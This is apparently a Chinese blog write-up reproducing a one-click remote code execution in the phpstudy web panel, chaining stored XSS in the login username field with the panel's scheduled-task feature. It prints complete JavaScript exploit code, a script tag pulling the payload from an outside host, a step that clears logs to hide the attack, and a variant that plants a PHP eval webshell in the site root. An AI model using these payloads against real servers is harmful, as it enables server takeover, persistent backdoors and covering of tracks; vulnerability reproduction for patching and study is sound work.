phpstudy 小皮web面板 RCE漏洞
这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。紧接着该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。可以看到确实触发弹窗了,这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了。只要管理员登录到系统,我们插入
一、漏洞描述
最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
二、漏洞复现
首先在官网下载最新的小皮windows面板安装程序
访问xp.cn
在本地进行安装

安装完成之后会弹出访问地址,如下

访问系统登录面板,页面显示如下

首先在用户名登录的地方插入弹窗的xss代码验证是否存在漏洞

然后再用管理员账号登录系统

可以看到确实触发弹窗了,这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了

紧接着该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。具体步骤如下
在vps上部署我们需要插入的js文件,内容显示如下(在服务器的www目录下写入验证txt文件)

function poc(){$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;$.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res){$.post('/service/app/tasks.php?type=set_task_status',{task_id:id,status:0},function(res1){$.post('/service/app/tasks.php?type=set_task_status',{task_id:id,status:0},function(res2){$.post("/service/app/log.php?type=clearlog",{type:"clearlog"},function(res3){},"json");},"json");},"json");},"json");},"json");}function save(){var data=new Object();data.task_id="";data.title="test";data.exec_cycle="1";data.week="1";data.day="3";data.hour="13";data.minute = "51";data.shell="echo swzaq >D:/phpstudyweb/xp.cn/www/1.txt";$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');}save();这里的hour代表时,minute代表分
PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩
然后在登陆的用户名处插入如下代码
<script src=http://10.1.120.231:8000/poc.js></script>

只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件

因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站

这里写入webshell的话可以向网站目录下写,如
D:\phpstudyweb\xp.cn\www\wwwroot\admin\localhost_80\wwwroot
将上面的poc改造如下
function poc(){$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;$.post('/service/app/tasks.php?type=exec_task',{tid:id},function(res2){$.post('/service/app/log.php?type=clearlog',{},function(res3){},"json");},"json");},"json");}function save(){var data=new Object();data.task_id="";data.title="test";data.exec_cycle="1";data.week="1";data.day="3";data.hour="14";data.minute = "20";data.shell='echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');}save();

执行完成之后可以看到写入php文件成功了

用蚁剑测试连接

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)